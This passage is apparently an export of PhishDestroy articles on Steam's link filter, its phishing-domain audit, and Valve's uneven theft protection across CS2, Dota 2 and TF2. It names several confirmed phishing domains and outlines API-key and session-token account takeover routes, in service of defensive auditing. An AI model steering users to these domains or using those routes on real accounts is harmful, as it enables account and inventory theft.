                "Historically, any active steamLoginSecure cookie session could register a key — no Steam Guard confirmation on the mobile device, no notification to the account holder. [E34]"
              ]
            ]
          },
          {
            "id": "table-5",
            "caption": "Three different operations in one user journey",
            "rows": [
              [
                "Step",
                "What moves through the system",
                "What the operator obtains"
              ],
              [
                "Steam OpenID",
                "Steam returns an authenticated SteamID to the service’s login flow; the request declares the service’s return address.",
                "An authenticated Steam identity for the site’s user record. [E34]"
              ],
              [
                "Session-token handoff",
                "The seller’s browser-session token is copied or collected by the extension.",
                "The credential used in the documented trade-monitoring workflow. [E05]"
              ],
              [
                "Settlement decision",
                "A Steam transfer is recognised under the platform’s verification rules.",
                "The basis for crediting, withholding or releasing its own coin balance. [E07]"
              ]
            ]
          },
          {
            "id": "table-6",
            "caption": "Concrete technical examples behind the terminology",
            "rows": [
              [
                "Reference",
                "What it describes",
                "Why it matters here"
              ],
              [
                "api.steampowered.com",
                "HTTP services organised into named methods, with public and authenticated operations.",
                "A website or server can make these calls; the interface extends beyond code running inside a game."
              ],
              [
                "IEconService",
                "Trade history and offer records, including GetTradeHistory, GetTradeOffers and GetTradeOffer.",
                "These methods document a user authentication key: a concrete account-access role outside game-client integration. [E44]"
              ],
              [
                "ISteamUserAuth/AuthenticateUserTicket\non partner.steam-api.com",
                "Publisher-side verification of a user’s authentication ticket.",
                "The application’s identity and the publisher’s credential are explicit parts of the request. [E45]"
              ],
              [
                "partner.steam-api.com",
                "A separate HTTPS host for secure publisher servers; every request requires a publisher key.",
                "Valve documents its availability, firewall setup and access requirements separately from the public host. [E43]"
              ]
            ]
          },
          {
            "id": "table-7",
            "caption": "Saved Steam Link Filter responses for the supplied addresses",
            "rows": [
              [
                "Address submitted",
                "Observed response",
                "Continue link",
                "Original URL"
              ],
              [
                "csgoroll.com ↗",
                "Continue link present",
                "Yes",
                "Steam response ↗"
              ],
              [
                "www.csgoroll.com ↗",
                "Continue link present",
                "Yes",
                "Steam response ↗"
              ],
              [
                "csgoempire.com ↗",
                "Continue link present",
                "Yes",
                "Steam response ↗"
              ],
              [
                "hellcase.com ↗",
                "Continue link present",
                "Yes",
                "Steam response ↗"
              ],
              [
                "csgostrong.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "csgo500.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "csgocosmos.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "csgocasino.net ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "csgo2x.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "csgohouse.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "csgoatse.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "csgocash.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "csgobig.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "csgomassive.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "skins2.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "csgopot.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "csgowild.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "skinport.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "gamdom.com ↗",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ],
              [
                "csgofast.hk ↗Supplied test address",
                "Link Blocked",
                "No",
                "Steam response ↗"
              ]
            ]
          },
          {
            "id": "table-8",
            "caption": "Five literal address inputs and saved Steam responses",
            "rows": [
              [
                "Literal target submitted",
                "Saved result"
              ],
              [
                "https://csgofast ↗",
                "Link Blocked"
              ],
              [
                "https://csgofast.com ↗",
                "Link Blocked"
              ],
              [
                "https://csgofast.hk ↗",
                "Link Blocked"
              ],
              [
                "https://example.com/?name=csgofast ↗",
                "Continue link present"
              ],
              [
                "https://csgofast.example.com ↗",
                "Link Blocked"
              ]
            ]
          },
          {
            "id": "table-9",
            "caption": "120 confirmed Steam-phishing domains, three cohorts, one filter",
            "rows": [
              [
                "Cohort",
                "What was submitted",
                "Passed clean"
              ],
              [
                "2021–2022\nlegacy phishing",
                "Classic trade-offer and item-drop campaigns. Even 4 to 5 years after being cataloged by community watchdogs, seven in ten of these hosts still open with no block.",
                "70.0% (28/40)"
              ],
              [
                "2023–2024\nCS2-era phishing",
                "Campaigns impersonating Counter-Strike 2 releases and fake community appeals — cs2-steam.com, appealsteamcommunity.help — pass straight through.",
                "77.5% (31/40)"
              ],
              [
                "2025–2026\nedge phishing",
                "Serverless edge deploys and favicon clones on EdgeOne, Vercel and Cloudflare Pages — steamgifter.online and its kin — pass virtually unobstructed.",
                "92.5% (37/40)"
              ],
              [
                "Gambling mains\npositive control",
                "The control every phishing audit needs: the filter’s own category.",
                "7 / 7 blocked"
              ]
            ]
          },
          {
            "id": "table-10",
            "caption": "Steam Link Filter responses · percentage of all hosts in each list",
            "rows": [
              [
                "List",
                "Tested hosts",
                "Blocked",
                "Blocked %",
                "Ordinary notice"
              ],
              [
                "Steam / Discord feeds",
                "36,724",
                "1,759",
                "4.79%",
                "34,965"
              ],
              [
                "PhishDestroy · community + main list",
                "1,086,734",
                "4,010",
                "0.37%",
                "1,082,629"
              ]
            ]
          }
        ],
        "cited_source_ids": [
          "E09",
          "E16",
          "E04",
          "E05",
          "E17",
          "E44",
          "E45",
          "E43",
          "E23",
          "E07",
          "E13",
          "E34",
          "E28",
          "E06",
          "E08",
          "E11",
          "E25",
          "E24",
          "E33",
          "E48",
          "E38",
          "E41",
          "E14",
          "E19",
          "E18",
          "E46",
          "E47",
          "E36"
        ]
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/jwt-field-excerpt.json",
          "sha256": "966c5f133dc59b83950c84d158a4b2b893bac02e5d0f7b5fa002f855d094bb43",
          "bytes": 712
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/linkfilter-2026-10-10.json",
          "sha256": "7ffb3063cc0b18c58ab25fa6ea8313a536457369b82d0841ecfe3e3d1406a549",
          "bytes": 9476
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/linkfilter-pattern-2026-10-10.json",
          "sha256": "3a77f8fa56d3d2f1f476f83fb93c1477227be87725fb673b4e0f7b0f4d80a531",
          "bytes": 5890
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-audit-2026-10-06/methodology.txt",
          "sha256": "42d02ddb50961ca8f81bba18fd6a6c57931490e8ccab1fd9174cee5f8454e707",
          "bytes": 4336
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-audit-2026-10-06/summary.json",
          "sha256": "653a1b345b834b2cb94d4aa08fcfa7d06435c0c6afb5a557c6e6519d7d9fa295",
          "bytes": 5663
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "three-games-and-security",
      "language": "en",
      "title": "Three games. Unequal protection. — Valve & enforcement · PhishDestroy",
      "author": "Agent Nadia",
      "source_url": "https://phishdestroy.io/steam_dossier/three-games-and-security",
      "source_file": "steam_dossier/three-games-and-security.html",
      "source_html_sha256": "bbfdf2a511b0c6831d76fcd90866932ef5429fbb4077e37b1f6ff71ee55e7d24",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "three-games-and-security.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/three-games-and-security.pdf",
        "sha256": "811fb80231645600a1485b32a153c554f0e91ccab749d181041953b2ea4f0342",
        "bytes": 440846,
        "pages": 27
      },
      "integrity": {
        "signed_object": "three-games-and-security.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/three-games-and-security.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/three-games-and-security.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nTHREE GAMES / VALUE / SECURITY / ENFORCEMENTREVIEWED 11 OCT 2026 · UTC\n\nTHE DEFENCE NAMES ALL THREE.\n\nThree games. Unequal protection.\n\nValve must answer for every game it puts behind its defence.\n\nINVESTIGATION BY AGENT NADIA\n\nThe New York response brings CS2, Dota 2 and Team Fortress 2 into one account of value, security and consumer rights. The documented controls do not cover them equally. Follow the gap between the statement, the protection available to a victim and the power Valve exercises over the same assets.\n\nCompare the protection ↓Read the Canadian record ↗\nVALVE’S WORDS / VALVE’S POLICY\n3games addressed\nin the public defenceRead the response ↗\n1game supported\nby trade reversalRead the policy ↗\nCS27-day reversal\nDota 2No completed-trade reversal\nTF2No completed-trade reversal\n\nThe comparison is specific: inclusion in Valve’s defence versus support for reversing a completed Trade Protected trade.\n\nOriginal 11 October edition · complete text →\n01\n\nEXISTING LAW / A GLOBAL PLATFORM\n\nA New York case. A system used worldwide.\n\nA greeting addressed to New Yorkers does not confine the economic mechanism to New York. Valve operates the account, inventory and transfer infrastructure across territories. The question is how existing law applies to the transactions it offers.\n\nTHE FILED CLAIM\nAll three games are in the complaint.\n\nThe 25 February 2026 filing expressly examines TF2 and Dota 2 alongside Counter-Strike. Paragraphs 67–74 describe their paid random-item mechanisms. Naming all three in the response therefore creates a responsibility to explain protection in each. [E38]\n\nTHE LEGAL QUESTION\nDoes the existing prohibition apply?\n\nNYAG invokes existing New York law and seeks an injunction, consumer financial relief, disgorgement and a penalty. Valve’s preference for future legislation does not decide that dispute. The requested relief is set out on PDF pages 50–51. [E38]\n\nTHE WIDER CONSEQUENCE\n\nThe case tests a mechanism used across Steam: paid random outcomes, transferable items, outside liquidity and the issuer’s control. The consequences matter wherever that mechanism operates. Valve should explain which product and infrastructure changes it would make, which users would receive protection and how it would apply those changes across its games and markets.\n\nSTEAM CHINA / VALVE’S PUBLISHED PARTNERSHIP\nTerritorial adaptation is already part of Valve’s business.\n\nValve’s Steamworks documentation identifies Perfect World as the partner for an onshore Steam China. It requires government approval before a game is published there and an ISBN displayed on the product page. Valve can therefore describe regional partners, approval requirements and a distinct product configuration when that is how it enters a market. [E110]\n\nThe comparison sharpens the New York question: Valve has already configured a separate product for another territory, so it must identify the protections it can extend here, the alternatives it rejected and the cost it accepted. The Russian funding-provider record raises a separate demand for intermediaries, territorial controls and the transactions they process.\n\nTHE IMPLEMENTATION RECORDNetherlands. Belgium. France. Germany.Valve has already changed container access by territory ↗\nONE STATE / A WORLDWIDE PRODUCT\nThe address line does not define the system.\n\nValve writes to New York players of CS2, Dota 2 and Team Fortress 2. The account system, trading infrastructure and commercial incentives reach across those communities and borders. PhishDestroy’s question is broader than the letter’s local audience: how does Valve justify the same machinery wherever it operates?\n\nA ruling in one jurisdiction has its own legal scope, but the product facts it examines are facts about Valve’s system. Valve should explain the consequences for that system and its users, rather than reduce the dispute to the preferences of one state. The demand is for accountability under the applicable rules—not a special law written around Steam’s business model.\n\n02\n\nTHE SCOPE OMITTED FROM THE REASSURANCE\n\nWho can actually get the items back?\n\nA completed-trade reversal and a delay before delivery do different jobs. A platform-wide defence should identify which remedy each player receives.\n\nTHREE GAMES IN THE DEFENCEPROTECTION SCOPE · 11 OCT 2026\n01 / NAMED IN VALVE’S RESPONSE\nCounter-Strike 2\n7 daysCompleted-trade reversal\nReversal\nYes · 7 days\nAfter delivery\nImmediate delivery; protected items cannot move again during the window.\nBefore delivery\nCS2 is excluded from the old hold / escrow system.\n02 / NAMED IN VALVE’S RESPONSE\nDota 2\nNo reversalCompleted-trade reversal\nReversal\nNot supported\nAfter delivery\nGeneral account, trade and item restrictions still apply.\nBefore delivery\nThe general policy can hold delivery for up to 15 days depending on authenticator conditions. A hold delays delivery; it does not reverse a completed transfer.\n03 / NAMED IN VALVE’S RESPONSE\nTeam Fortress 2\nNo reversalCompleted-trade reversal\nReversal\nNot supported\nAfter delivery\nGeneral account, trade and item restrictions still apply.\nBefore delivery\nThe general policy can hold delivery for up to 15 days depending on authenticator conditions. A hold delays delivery; it does not reverse a completed transfer.\nTWO CONTROLS. TWO DIFFERENT MOMENTS.\nA hold delays delivery. A reversal returns a completed trade.\nCounter-Strike 2Completed-trade protection\nNo old-style escrow\n7 daysEligible trades can be reversed\nDota 2 / Team Fortress 2General before-delivery hold\nUp to 15 daysDepending on authenticator conditions\nNo completed-trade reversal\n\nThe general hold policy and CS2’s completed-trade protection operate on different sides of delivery. [E103] Holds [E32] Reversal\n\nThe Trade Protection FAQ names CS2 as the only supported game. Reversal undoes all protected trades from the preceding seven days and imposes a 30-day trade and Market cooldown on the initiator. Counterparties do not receive that cooldown merely because another person reversed. [E32]\n\nTHE ACCOUNTABILITY GAP\n\nDota 2 and TF2 users appear in the defence. They do not receive the reversal it invokes. Valve should publish the reason for the difference, the rollout timetable and the theft losses left outside the remedy.\n\n02 AUG 2019TEAM FORTRESS 2\nTHE REMEDY VALVE DESIGNED\nWhen rarity broke, Valve designed a remedy.\n\nA July 2019 bug made some crates produce an Unusual hat on every opening. Valve fixed it the following morning and locked the affected hats. Its announced remedy made the first affected hat per account tradable, kept additional ones locked, restored qualifying deleted hats and offered eligible refunds for hats, crates and keys. The 16 August update confirmed the selective release. [E107]\n\n01Identify\n\nLocate the hats created by the crate bug.\n\n02Control\n\nRelease the first affected hat; keep additional hats locked.\n\n03Restore / refund\n\nRestore qualifying deleted hats and offer eligible refunds.\n\nThat is active administration of scarcity and consumer remedies. Put the same specificity into the theft policy: identify the affected item, the available intervention, the reason for refusal and who bears the loss.\n\nTHE PLAYER’S COLLECTION\n\nA collection is more than its resale price.\n\nItems can serve as an appearance, a remembered collection and an exchange instrument at the same time. Preserved Dota testimony describes cosmetics as support for the game and a refused restoration. This is an account of personal loss beyond the case-opening transaction. [E102]\n\nPERSONAL ATTACHMENT / ITEM CIRCULATION\n\nThe Dota cases show an inventory functioning as a personal collection: attached to a hero, a period of play and the player’s own history. A lower resale price does not make its theft a minor loss. Some players describe leaving after losing that collection. Their experience belongs in Valve’s security account alongside the price of the stolen items.\n\nCS2’s outside markets and gambling services assign another role to highly liquid items: a repeatedly transferred store of exchange value. Dota Arcanas and TF2 keys also have specific trading roles, but a game-wide slogan about “cosmetics” hides these differences. Our question is why Valve addresses all three communities together while offering different recovery mechanisms and leaving each community’s losses unaccounted for.\n\nPHISHDESTROY’S COMPARISON / THREE DIFFERENT ITEM ROLES\nAttachment. Circulation. Recovery.\n\nChoose a game to follow the role highlighted in this investigation. This is a qualitative comparison of the cases and instruments discussed below.\n\nCS2 / SELECTED LIQUID SKINS\n01 / THE PLAYERA favourite appearance.\n\nA skin can become part of the player’s loadout and identity.\n\n02 / THE OUTSIDE ECONOMYA circulating instrument.\n\nSelected liquid skins are priced, transferred and used for settlement by outside markets and gambling services.\n\n03 / THE REMEDYProtected trades.\n\nCS2 has the trade-reversal route described in Valve’s Trade Protection FAQ. Market and Wallet losses have other rules.\n\n[E32] Trade Protection · Outside settlement record ↗\nDOTA 2 / THE PERSONAL COLLECTION\n01 / THE PLAYERA hero. A history.\n\nVictim accounts centre on a collection attached to a hero, a style and years of play.\n\n02 / THE OUTSIDE ECONOMYItem-specific liquidity.\n\nArcanas and other transferable items have trading roles. Price alone does not account for the personal loss.\n\n03 / THE REMEDYOutside CS2’s reversal.\n\nThe FAQ’s supported-game scope leaves Dota outside that recovery route. Valve should explain its protection and restoration policy.\n\n[E102] Preserved Dota testimony · [E32] Supported-game scope\nTF2 / THE KEY AND THE COLLECTION\n01 / THE PLAYERA collected identity.\n\nCosmetic appearance and rarity remain part of what the player values.\n\n02 / THE OUTSIDE ECONOMYA tradable key.\n\nThe Mann Co. Supply Crate Key is documented as tradable and marketable. Follow its role after the CS:GO key restriction.\n\n03 / THE REMEDYA different intervention.\n\nValve designed a selective remedy for the 2019 issuance bug. Theft recovery and CS2’s trade reversal need their own explanation.\n\n[E81] TF2 key · [E107] Issuance-bug remedy\nPhishDestroy’s comparison of attachment, circulation and recovery.\n\nTHE INVESTIGATION’S COMPARISON\n\nA favourite item and a circulating chip have different roles.\n\nThe Dota testimony shows a collection becoming personal through its connection to a hero, a style and years of play. Losing it can remove part of the reason to return to the game. The significance of that loss is not captured by a cheap item’s market price. The victim reports belong beside the financial ledger, because the harm includes the relationship with the game.\n\nIn the CS2 services examined by this investigation, selected liquid skins function as exchange instruments: deposited, priced, wagered, transferred and resold. Their usefulness to the surrounding business depends on movement. A player keeping a favourite skin indefinitely contributes differently from a player repeatedly circulating value through trades, markets and gambling services.\n\nPhishDestroy’s criticism is that this circulation has become a commercial dependency around CS2. Outside platforms recruit and monetise the movement of Steam-issued items, while the player carries the risk of theft, restrictions and failed recovery. The “purely cosmetic” description leaves this economic machinery out of the explanation.\n\nDota Arcanas and TF2 keys require their own item-level analysis. Their trading roles do not erase the personal significance of another player’s collection. Addressing all three communities creates a duty to explain each game’s losses and remedies, rather than borrow a CS2 protection feature as reassurance for everyone. Follow the transaction mechanism ↗ · Follow the outside settlement services ↗\n\n03\n\nTHE ISSUER’S ADMISSION / THE COURT’S ORDER\n\nThe monetary function was already on the record.\nVALVE / KEY CHANGE28 OCT\n2019\nValve stopped newly purchased CS:GO keys from circulating.\n\nValve said fraud networks were using keys to liquidate proceeds and believed nearly all purchased keys subsequently traded or sold were fraud-sourced. It made new in-game key purchases non-tradable and non-marketable. Existing keys retained those functions. [E94]\n\nValve’s own explanation identifies a monetary use for game items and a restriction the issuer could impose. The distinction between existing keys and new purchases also shows how precisely it could change the trading function.\n\nTF2’s Mann Co. Supply Crate Key remains a documented tradable and marketable instrument. After Valve restricted new CS:GO keys in 2019, what monitoring followed the other liquid instruments on its own platform? Publish the cross-game review, the services identified and the restrictions actually applied. The issuer cannot end its explanation at the boundary between two games. [E81]\n\n08 JUN 2018OPSKINS / A NAMED TARGET AND A DEADLINE\nValve could direct enforcement at the operator.\n\nAfter ExpressTrade launched, Valve said it violated the Subscriber Agreement and enabled avoidance of Valve’s policies. The company published a demand to stop and announced that OPSkins’ Steam accounts would be locked by 21 June. [E108]\n\nThe record names a business, a practice and an account-level deadline. Apply that level of detail to the operators warned in 2016 and to the later P2P model: what was disabled, what reappeared and which business actually lost the ability to operate?\n\nThe transition to player-held inventory ↗\nONTARIO / PLETERSKI & AP PRIVATE EQUITYORDER + TRUSTEE’S REPORT\n\nTHE CANADIAN ORDER TESTED VALVE’S CONTROL.\n\nDisclose the records. Freeze the accounts.\n06 JUN 2024\n\nThe Ontario court ordered Steam to disclose account information and freeze the bankrupt’s accounts.\n\n25 JUN 2024\n\nThe trustee records receiving login, account, inventory and trade histories for five accounts.\n\n153+skins in the trustee’s trade analysis\nCAD 430,312trustee’s estimated value\n\nThe 11 July report concerns Aiden Pleterski and AP Private Equity. The trustee identifies more than 100 trades during bankruptcy and infers cryptocurrency settlement. The court order and the records subsequently supplied by Steam show that inventory, account histories and transfer restrictions can become concrete instruments of asset recovery. [E95]\n\nOrder §§3–4 · PDF p. 12 ↗\nTHE ENFORCEMENT DEMAND\n\nFollow the item, identify the account, preserve the history and explain the restriction. Those are concrete requests directed at the issuer and custodian of the record. The Canadian file gives the investigation a documented example to put beside Valve’s general statements about control.\n\nTHE SEPARATE TERRITORIAL QUESTIONTrace the regional funding intermediaries.The MTS page, payment terms and records needed to assess sanctions exposure ↗\n\nAFTER THE 2019 KEY RESTRICTION\n\nThe monetary function did not disappear with one restriction.\n\nValve’s own 2019 explanation records fraud networks using CS:GO keys to liquidate proceeds. The company then changed what newly purchased keys could do. That admission is central to this investigation: the issuer knew that a game item could serve as a financial instrument and could intervene in its circulation. [E94]\n\nThe next question follows the value into other instruments and services: pre-existing keys, TF2 keys, liquid skins, outside exchanges and cryptocurrency settlement. Our investigation asks what Valve monitored after the change, which routes it identified and how its controls followed the displaced activity.\n\nThe Canadian asset-recovery file supplies a concrete account-and-inventory trail to place alongside that question. The payment chapters examine intermediaries, territorial restrictions and the movement from skins into platform balances, vouchers and cryptocurrency. The inquiry follows those documented mechanisms; it does not need an unrelated scandal to explain why the “cosmetic” label is economically inadequate. [E95] Follow the voucher route ↗ · Follow custody and release control ↗\n\n04\n\nKNOWN LOSSES / MEASURABLE RESPONSIBILITY\n\nA ban total cannot replace a security loss ledger.\nVALVE’S OWN HISTORICAL FIGURE77,000accounts hijacked and emptied per month\n\nIn December 2015, Valve reported this scale and described organised theft aimed at experienced users as well as newcomers. It also recognised the monetary incentive created by item trading. This is a dated baseline, not a current monthly estimate or a cumulative count. [E96]\n\nHow much loss followed a known defect, and how long did Valve leave that defect in place? Answering requires the incident records, notice dates, fixes and remedies in Valve’s possession. Neither the 2015 figure nor the later million-account total — the March 2026 statement reporting over one million locked accounts [E14] — supplies that breakdown.\n\nPOSTED 07 JUL 2022DOTA / WALLET LOSS REPORT\n44 purchases. About US$500 lost.\n\nThe author reports unauthorised purchases of low-value Dota items on 6 July and says support sent template replies. The disputed route is the Market and Wallet. [E102]\n\nRead the original account ↗\nPOSTED 09 MAY 2025QUÉBEC / RECOVERY DISPUTE\nAbout US$10,000. A disputed support reset.\n\nThe author reports that support reset credentials and removed protections in an earlier incident, followed by inventory theft and refusal to restore. The authenticated recovery decision sits in Valve’s support records; Valve should produce it. [E102]\n\nRead the original account ↗\n\nThese are dated victim reports. The account and support logs that would settle them are held by Valve and belong in the disclosure demand. A standard warning about suspicious links does not resolve the specific transaction or recovery decision being disputed.\n\n01 / ACCOUNT AUTHORITY\nKeys and sessions\n\nRecord the credential involved, its creation and use, confirmation prompts and the actions it authorised. The historical key-registration issue and the later session-token workflows must be tested separately.\n\nHistorical API-key record ↗\n02 / ITEM MOVEMENT\nTrades and Market sales\n\nA substituted trade, a direct transfer and a Market purchase move value differently. Identify the receiving account, the confirmation event and the remedy applicable to that route.\n\nThe Market loss route ↗\n03 / CLIENT EXPOSURE\nBrowser and recovery\n\nA malicious page, a renderer exploit and a support-mediated account reset need their own evidence. A single label such as “API scam” conceals the stage where protection failed.\n\nThe dated filter audit ↗\n\nSTEAMWEBHELPER / CEF / DESTINATION CHECKS\n\nValve owns the protection delivered inside its client.\n\nDARKNAVY’s June 2024 research documents Steam’s embedded Chromium architecture and historical exploitation. It puts the browser security timeline directly into the accountability record: exposure, disclosure, patching and the consequences for users. [E47]\n\nChromium documents Google-service and API integration choices; the CEF maintainer describes its upstream Safe Browsing default. Valve controls the configuration it ships. It should disclose its actual service connections, reputation checks, patching cadence and the reasons for excluding any available protection. [E104] [E97]\n\nTHE DISCLOSURE THAT WOULD SETTLE IT\n\nPublish the shipped CEF version, patch lag, sandbox settings, active reputation services and reproducible warning results across the client, overlay and Big Picture. Compare the same dated destinations and record which protection actually stopped the visit.\n\nThe dossier’s embedded-browser investigation places the user’s actual protection on the record. A failed warning in a captured build is a concrete failure to address. Valve controls the shipped configuration and should disclose which services it enables, which it excludes, how quickly it patches and what those choices mean for users exposed to malicious destinations. Read the wider browser investigation ↗\n\nVAC / KERNEL ACCESS / PLATFORM STRATEGY\n\nValve chooses the architecture. Users bear the consequences.\nTHE COMPARISON VALVE MUST ANSWER\nKernel-level protection is already deployed.\n\nRiot documents Vanguard’s kernel-mode driver. FACEIT describes a kernel driver, client and server SDK for protected CS2 matches, with Windows-only availability. These are deployed approaches to protecting competitive play. Microsoft documents the driver-signing and compatibility requirements that govern this route. [E109] [E99] [E98]\n\nVALVE’S RESPONSIBILITY TO ITS USERS\nExplain the gaps. Account for the damage.\n\nValve must account for cheats that survive its protections, the time they remain active, the matches they affect and the users left without an effective remedy. Detection coverage, response times, erroneous bans and appeal outcomes belong in that account. A technical strategy is judged by the protection it delivers to players.\n\nValve’s own Steamworks guidance recommends authoritative servers and explains how game-ban systems should communicate with affected users. That gives Valve a standard against which its implementation and treatment of users can be examined. Publish how the layers work together, where coverage fails and how those failures are remedied. [E106]\n\nPhishDestroy’s criticism is directed at Valve’s priorities. SteamOS, Proton and control over its browser and anti-cheat stack serve Valve’s platform strategy. Corporate independence does not discharge its responsibility for security. When users face cheating, inventory theft or ineffective recovery, Valve owes an account of the protection it shipped, the alternatives it rejected and the consequences it accepted. The relevant configuration and decision records are in Valve’s hands; producing them is part of accountability.\n\nTHE QUESTION TO VALVE\n\nWhat protection did your architecture leave missing, who carried the cost, and what have you changed to prevent the same harm recurring?\n\nPHISHDESTROY’S ARCHITECTURAL CRITICISM\n\nCorporate independence has a cost paid by the user.\n\nWe read the browser and anti-cheat decisions together. Steam embeds a browser whose protection depends on the shipped version, services, sandbox and updates. Competitive play depends on a protection architecture that can detect and interrupt the cheats players actually face. Valve chooses both implementations and controls the account and inventory that become exposed when protection fails.\n\nControl of the platform and independence from other technology companies carry exceptional weight in those choices: integrating browser reputation services raises a relationship with Google; deploying a Windows kernel driver brings signing, testing and compatibility obligations in Microsoft’s ecosystem. SteamOS, Linux and Proton also form part of Valve’s platform strategy. [E104] [E98]\n\nThat corporate preference is the object of our criticism. When Valve rejects, delays or weakens an available protection to preserve autonomy, users bear the consequence through compromised accounts, missing inventories and matches affected by cheating — the failed warning in the captured build is that consequence on record. Calling the trade-off privacy does not account for that cost. Valve should disclose the decision, the alternative considered, the protection lost and the remedy offered to the people affected.\n\nThe browser and VAC therefore belong in the same accountability question: whose independence did the architecture protect, and whose security remained exposed?\n\nTHE LOSS LEDGER\nHow many accounts, how many inventories, how many years?\n\nValve should publish the history of the credential and session pathways abused to take inventories: when each mechanism became known, when it changed, what replaced it and how many users lost value before an effective fix. API-key theft, stolen browser sessions and token-return pathways need their own dates and loss records.\n\nA new interface or a large ban announcement does not repay a stolen inventory. The measure is the loss prevented, the access abuse stopped and the remedy delivered. Inspect the access mechanisms ↗ · Inspect the extension’s remote commands ↗\n\n05\n\nREVENUE BEFORE THE BAN / LOSSES AFTER IT\n\nCount what the farm pays. Then count what enforcement stops.\n\nValve’s CS2 documentation connects Prime status with weekly item rewards. That creates an economic question about paid access, item issuance and repeat account purchases. Answer it with a purchase cohort and transaction ledger. [E100]\n\nThe farm’s economics depend on how little hardware time each running instance consumes. Reducing rendering load and sharing resources increases the number of accounts a given setup can sustain. Microsoft documents GPU resource sharing across virtual machines. Valve should explain which signals it uses to identify such automation, which controls interrupt it and how long the farm continues earning before intervention. [E105]\n\nEXPLORE THE THREE-MONTH PAYBACK SCENARIOEDITABLE SCENARIO · PHISHDESTROY’S RESEARCH BENCHMARK\n\nUse one currency throughout. The starting values are illustrative assumptions, not current prices or expected returns.\n\nILLUSTRATIVE RESULT / CURRENCY UNITS\nSimple break-even14.4 weeks\nGross entitlement spending\n15,000.00\nWeekly net per account\n1.25\nNet needed for 13-week recovery\n1.38\n\nAfter 13 weeks: 90.3% of the initial entitlement and setup cost recovered.\n\nWeeks = (entitlement + setup) ÷ (weekly receipts − weekly cost).\n\nThis simple scenario excludes bans, replacement purchases, price changes and time without earnings. Gross spending is not Valve’s recognised net revenue: taxes, refunds and the purchase channel must be reconciled. A Steam ban count supplies none of these inputs.\n\nPOPULATIONWhich accounts?\n\nNewly purchased entitlements, legacy access, stolen accounts and ordinary users need separate cohorts.\n\nRECEIPTSWhat did Valve receive?\n\nReconcile entitlement receipts, case purchases and internal Market fees. External trade value is a separate flow.\n\nENFORCEMENTWhat changed after the ban?\n\nTrack inventory restrictions, replacement accounts, continued operations and successful appeals.\n\nTHE UNCLASSIFIED POPULATION\nWhich half of a ten-million economy did the lock hit?\n\nThe population behind the ban count was never classified. Of roughly ten million accounts in this economy, about half sit above the $5 “non-limited” threshold — the tier that unlocks the Market and the Web API. [E66] Valve has never said how many of the locked million came from that half, or why “commercial use” is the charge applied to accounts whose only commerce was playing.\n\nThe classification records are Valve’s to produce: the limited and non-limited split of the locked accounts, the qualifying spend behind each, and the clause actually invoked. Publish them, and the ban count becomes an account of who was stopped — not a number over an unexamined population.\n\nTHE INCENTIVE TEST\n\nValve’s receipts and the farm’s continued operation belong in the same account. Match entitlement purchases, item issuance, Market fees, restrictions and replacement accounts over time. That would show the commercial benefit accumulated before a ban and whether enforcement actually stopped the operation.\n\nWHO COLLECTS BEFORE THE BAN?\nThe farm’s payback period is also a revenue question.\n\nPhishDestroy’s working benchmark is a farm designed to recover its setup cost in roughly three months. The calculator above makes the inputs visible: account entitlements, recurring costs, sale proceeds and losses from restrictions. A farm’s purchase and replacement cycle can generate revenue for Valve before enforcement arrives.\n\nThat is the relationship this investigation asks Valve to explain. Publish what these accounts paid, when the activity was recognised, what value was returned and whether the same operation resumed under replacement accounts. The scale of a ban announcement should lead to that ledger.\n\nTHE REVENUE BEFORE THE BAN / AN ILLUSTRATED AUDIT ROUTE\nFollow the receipt through the 